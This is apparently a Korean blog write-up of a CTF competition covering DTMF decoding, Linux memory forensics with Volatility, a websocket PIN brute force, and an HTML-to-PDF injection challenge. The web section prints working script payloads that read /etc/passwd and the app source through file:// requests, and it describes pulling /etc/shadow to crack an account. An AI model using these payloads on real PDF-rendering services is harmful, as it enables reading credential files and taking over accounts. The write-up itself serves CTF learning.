Forensics
Sounds Familiar
dtmf
이건 너무 부정확해서 다른 도구를 사용했다.
http://www.polar-electric.com/DTMF/Index.html
0과 1이 많아서 키패드 알파벳 변환은 아니다.
띄어서 입력되는 부분을 고려하면
100 88 82 106 100 71 90 55 78 87 86 106 99 109 86 48 88 50 89 120 81 68 108 102 90 71 57 102 98 109 57 48 88 122 86 111 81 72 74 108 102 81 61 61
이 되고, 이를 ascii로 변환한 뒤에 base64로 디코딩해주면 플래그가 나온다.
dtmf decode -> ascii -> base 64
Forensics
IRC
memdump.lime.z 파일이 주어진다.
zlib compreesed data이므로 압축을 풀어주자.
압축을 풀고 strings와 grep을 사용해서 프로필 정보를 알아냈다.
debian 10.2.1-6 에 linux version 5.10.0-11-amd64이다.
volatility2 사용을 위한 profile을 create해야한다.
환경 구성의 편의를 위해서 커널버전 5.10.0-11에 가장 근접하는 데비안 버전을 사용했다.
debian 11.0.0 amd64 iso 파일을 다운받아서 가상환경을 구축해준다.
https://ftp.cae.tntech.edu/debian-cd/dvd/
apt install linux-headers-5.10.0-11-amd64
apt install linux-headers-5.10.0-11-common
apt install linux-image-5.10.0-11-amd64
apt install linux-image-5.10.0-11-amd64-dbg
디스크 용량은 15GB 이상 확보하자.
기존에 설치되어 있는 커널 버전은 remove 해준다.
https://github.com/volatilityfoundation/volatility/wiki/Linux 을 참고하여 프로필을 생성하면 된다.
/boot/System.map-<uname -r> 파일을 보면
The real System.map is in the linux-image-<version>-dbg package
이렇게 되어 있다. apt install linux-image-5.10.0-11-amd64-dbg 를 한 이유가 real System.map 파일을 얻기 위해서다.
real System.map 파일은 usr/lib/debug/boot/ 경로에 있다.
생성된 프로필 zip 파일을 볼라티리티 overlays linux 폴더에 옮겨 넣는다.
hexchat이라는 irc 프로그램을 설치한 기록을 확인할 수 있다.
pslist에서 hexchat이 확인된다.
이제 irc password를 찾기 위해서 log 파일을 확인하면 password를 찾을 수 있을 것이라고 생각했다.
그런데 log파일들이 있는 경로는 알지만 정확한 로그 파일을 봐야하고 그 파일의 이름이 뭔지를 알 수 없었으므로
(linux는 filescan이 안된다. 정확한 파일의 절대 경로를 알고 있어야 한다.)
여기서부터는 게싱을 했다.
HxD로 메모리 덤프 파일을 열어서 hexchat과 utctf를 검색했고, P=blabla 문자열을 확인할 수 있었다.
utctf.live는 irc 주소, P 값은 irc password로 추측되었다.
해당 P값을 flag로 제출했다.
WEB
Websockets
어드민 로그인 페이지가 있는데 username은 admin이고 pw는 숫자 3자리라고 한다.
웹소켓으로 id와 pw를 전달한다.
파이썬으로 쓰윽
WEB
pdf로 변환을 해준다.
<h1 id='test2'>a</h1><script>x = new XMLHttpRequest();
x.open('GET','file:///etc/passwd',false);
x.send();
document.getElementById('test2').innerHTML= x.responseText+location.href;
</script>
이렇게 파일을 읽어올 수 있고
+location.href로 현재 경로를 알아냈다.
<h1 id='test2'>a</h1><script>x = new XMLHttpRequest();
x.open('GET','file:///usr/src/app/app.py',false);
x.send();
document.getElementById('test2').innerHTML= x.responseText;
</script>
약간의 게싱으로 app.py의 소스를 가져온다.
flag가 환경변수에 있는데, /proc/environ을 못읽도록 하고 있다. 그런데 필터링 우회해서 해당 파일에 접근해도 결과가 안나왔다. (언인텐이라서 이쪽으로는 못풀게 아에 막은 듯 싶다.)
/admin 페이지 로그인으로 플래그를 얻어야 하는데 unix계정 로그인을 하면 된다.
아까 passwd파일을 확인했을 때 WeakPasswordAdmin 이라는 계정이 있었다. 해당 계정의 패스워드를 구해서 로그인하면 될 것으로 보인다.
/etc/shadow 파일도 가져온다.
클리어.
Misc
https://ropsten.etherscan.io/tx/0xca78d2d51101fda93f3f8c62f4349dd23a7e5692cef667ab834c3611601f068f
그냥 이더스캔으로 컨트랙트 생성 트랜젝션의 인풋값 보면 된다.
'CTF Write Up' 카테고리의 다른 글
RITSEC CTF 2022 Write up (0) | 2022.04.02 |
---|---|
LINE CTF 2022 write up (0) | 2022.03.27 |
Codegate 2021 Quals Write Up (0) | 2022.02.28 |
ASCTF 2021 문제 풀이 및 출제 후기 - Forensic(5), Misc(1) (0) | 2021.11.24 |
Killer Queen CTF 2021 write up (0) | 2021.10.31 |